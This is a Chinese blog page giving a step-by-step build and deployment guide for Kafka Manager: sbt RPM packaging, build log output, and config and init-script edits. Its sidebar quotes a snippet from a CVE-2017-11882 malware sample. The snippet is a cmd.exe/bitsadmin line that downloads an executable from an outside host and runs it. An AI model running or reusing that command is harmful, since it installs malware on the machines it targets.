文档章节

Kafka Manager

China_OS
 China_OS
发布于 2017/08/30 14:03
字数 932
阅读 153
收藏 0

        kafka manager作为一款在kafka出世不久就被贡献出来的开源kakfa管理软件,相信使用者不在少数,不过这款软件更新总是有点慢,而且缺少安全认证模块,不过鉴于很多中小公司没人力自研kafka管理平台,这款软件还是可以凑合使用的。由于之前公司的kafka早已升级至0.10.0版本,而早起的kafka manager还不支持0.10.0版本,所以只能凑活使用,在kafka manager支持0.10.0版本后,立即更新了kafka manager,本文就是kafka manager的编译安装过程(支持0.10+)。

下载

cd /opt/programs
git clone https://github.com/yahoo/kafka-manager.git

设置环境

    kafka manager依赖java8,如果系统中存在多个java版本的话,先设置环境变量,部署本机的java home在/opt/programs/jdk1.8.0_77

export JAVA_HOME=/opt/programs/jdk1.8.0_77
export PATH=$JAVA_HOME/bin:$PATH

编译

cd /opt/programs/kafka-manager
./sbt rpm:packageBin

    ps:这是一个漫长的过程,因为sbt要越过GFW去拉取相关依赖库,不过可以设置sbt配置,采用国内的源,最终结果如下:

[info] Loading project definition from /opt/programs/kafka-manager/project
Missing bintray credentials /root/.bintray/.credentials. Some bintray features depend on this.
[info] Set current project to kafka-manager (in build file:/opt/programs/kafka-manager/)
Missing bintray credentials /root/.bintray/.credentials. Some bintray features depend on this.
SLF4J: Class path contains multiple SLF4J bindings.
SLF4J: Found binding in [jar:file:/root/.ivy2/cache/org.slf4j/slf4j-nop/jars/slf4j-nop-1.7.7.jar!/org/slf4j/impl/StaticLoggerBinder.class]
SLF4J: Found binding in [jar:file:/root/.ivy2/cache/org.slf4j/slf4j-simple/jars/slf4j-simple-1.7.12.jar!/org/slf4j/impl/StaticLoggerBinder.class]
SLF4J: See http://www.slf4j.org/codes.html#multiple_bindings for an explanation.
SLF4J: Actual binding is of type [org.slf4j.helpers.NOPLoggerFactory]
[warn] Credentials file /root/.bintray/.credentials does not exist
[info] Wrote /opt/programs/kafka-manager/target/scala-2.11/kafka-manager_2.11-1.3.3.13.pom
Warning: node.js detection failed, sbt will use the Rhino based Trireme JavaScript engine instead to run JavaScript assets compilation, which in some cases may be orders of magnitude slower than using node.js.
[info] Packaging /opt/programs/kafka-manager/target/scala-2.11/kafka-manager_2.11-1.3.3.13-web-assets.jar ...
[info] Done packaging.
[info] Building target platforms: noarch-yahoo-Linux
[info] Building for target noarch-yahoo-Linux
[info] Executing(%install): /bin/sh -e /tmp/sbt_cb7f4bde/rpm-tmp.biBqG2
[error] + umask 022
[error] + cd /opt/programs/kafka-manager/target/rpm/BUILD
[error] + '[' /opt/programs/kafka-manager/target/rpm/buildroot '!=' / ']'
[error] + rm -rf /opt/programs/kafka-manager/target/rpm/buildroot
[error] ++ dirname /opt/programs/kafka-manager/target/rpm/buildroot
[error] + mkdir -p /opt/programs/kafka-manager/target/rpm
[error] + mkdir /opt/programs/kafka-manager/target/rpm/buildroot
[error] + LANG=C
[error] + export LANG
[error] + unset DISPLAY
[error] + '[' -e /opt/programs/kafka-manager/target/rpm/buildroot ']'
[error] + mv /opt/programs/kafka-manager/target/rpm/tmp-buildroot/etc /opt/programs/kafka-manager/target/rpm/tmp-buildroot/usr /opt/programs/kafka-manager/target/rpm/tmp-buildroot/var /opt/programs/kafka-manager/target/rpm/buildroot
[error] + /usr/lib/rpm/check-buildroot
[error] + /usr/lib/rpm/brp-compress
[error] + /usr/lib/rpm/brp-strip /usr/bin/strip
[error] + /usr/lib/rpm/brp-strip-static-archive /usr/bin/strip
[error] + /usr/lib/rpm/brp-strip-comment-note /usr/bin/strip /usr/bin/objdump
[info] Processing files: kafka-manager-1.3.3.13-1.noarch
[info] Provides: config(kafka-manager) = 1.3.3.13-1
[info] Requires(interp): /bin/sh /bin/sh /bin/sh /bin/sh
[info] Requires(rpmlib): rpmlib(CompressedFileNames) <= 3.0.4-1 rpmlib(FileDigests) <= 4.6.0-1 rpmlib(PayloadFilesHavePrefix) <= 4.0-1
[info] Requires(pre): /bin/sh
[info] Requires(post): /bin/sh
[info] Requires(preun): /bin/sh
[info] Requires(postun): /bin/sh
[info] Checking for unpackaged file(s): /usr/lib/rpm/check-files /opt/programs/kafka-manager/target/rpm/buildroot
[info] Wrote: /opt/programs/kafka-manager/target/rpm/RPMS/noarch/kafka-manager-1.3.3.13-1.noarch.rpm
[info] Executing(%clean): /bin/sh -e /tmp/sbt_cb7f4bde/rpm-tmp.3qbHaE
[error] + umask 022
[error] + cd /opt/programs/kafka-manager/target/rpm/BUILD
[error] + /bin/rm -rf /opt/programs/kafka-manager/target/rpm/buildroot
[error] + exit 0
[success] Total time: 26 s, completed Aug 29, 2017 8:14:00 PM

    ps:编译好的rpm包在/opt/programs/kafka-manager/target/rpm/RPMS/noarch目录下(kafka-manager-1.3.3.13-1.noarch.rpm),把编译好的包上传到安装远程机器上。

部署

rpm -Uvh kafka-manager-1.3.3.13-1.noarch.rpm

    ps:因为本机上之前就有kafka manager的rpm包,不过版本较老,本次采用rpm升级命令。

调整配置

    创建etc配置目录

cd /etc
ln -s /usr/share/kafka-manager/conf kafka-manager

    修改kafka manager配置(/etc/kafka-manager/application.conf)

#Your kafka zk address
kafka-manager.zkhosts="ip:port,ip:port,ip:port"

    修改/etc/init.d/kafka-manager启动脚本

# add JAVA_HOME
export JAVA_HOME=/opt/programs/jdk1.8.0_77

    修改/etc/default/kafka-manager

# Setting JAVA_OPTS
# -----------------
JAVA_OPTS="-Dpidfile.path=/tmp/kafka-manager/kafka-manager.pid -Dconfig.file=/etc/kafka-manager/application.conf -Dlogger.file=/etc/kafka-manager/logger.xml $JAVA_OPTS -Dhttp.port=8000 -Dhttp.host=10.205.8.176"

# Setting PIDFILE
# ---------------
PIDFILE="/tmp/kafka-manager/kafka-manager.pid"

    创建临时目录

mkdir -p /tmp/kafka-manager
chown kafka-manager:kafka-manager /tmp/kafka-manager

    启动

/etc/init.d/kafka-manager start

查看

 

 

© 著作权归作者所有

共有 人打赏支持
China_OS
粉丝 406
博文 438
码字总数 487778
作品 0
徐汇
技术主管
kafka-manager安装与使用

kafka-manager安装与使用 www.blogways.net2018-01-071 阅读 安装kafka 目 录 1 kafka manager简介 2 kafka manager安装 3 kafka manager使用 一、kafka manager简介 为了简化开发者和服务工...

www.blogways.net
01/07
0
0
【Kafka】Kafka Manager 安装

https://github.com/yahoo/kafka-manager 编译环境:需要SBT和Java 8+ ,编译完成了后的zip包,运行只需要java 8+环境就好了,不需要SBT。 一、安装SBT和Java 8+ 二、下载编译kafka manager 三...

HarryWu
2016/05/12
444
0
使用Kafka Manager管理Kafka集群

公司使用到了Kafka,想借助一套可视化的工具更好地管理Kafka。笔者将目光瞄准了Kafka Manager。 安装Kafka 一、下载Kafka 前往http://kafka.apache.org/downloads ,根据自己的需要,下载合适...

周立_itmuch
2017/10/20
0
0
Kafka集群及监控安装指南

kafka官网:http://kafka.apache.org/ 官方文档:http://kafka.apache.org/documentation.html#quickstart kafka集群安装 下载: kafka2.10-0.8.2.0.tar.gz 解压: tar -zxvf kafka2.10-0.8.......

zyqJustin
2016/04/16
409
0
kafka开源管理工具Kafka-manager部署

  简介      Kafka-manager是雅虎开源的apache-kafka管理工具,是用Scala写,所以在web页面进行操作即可。   Githubhttps://github.com/yahoo/kafka-manager   主要特性:   1. ...

linux运维菜
04/19
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
21分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
34分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
36分钟前
1
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
47分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部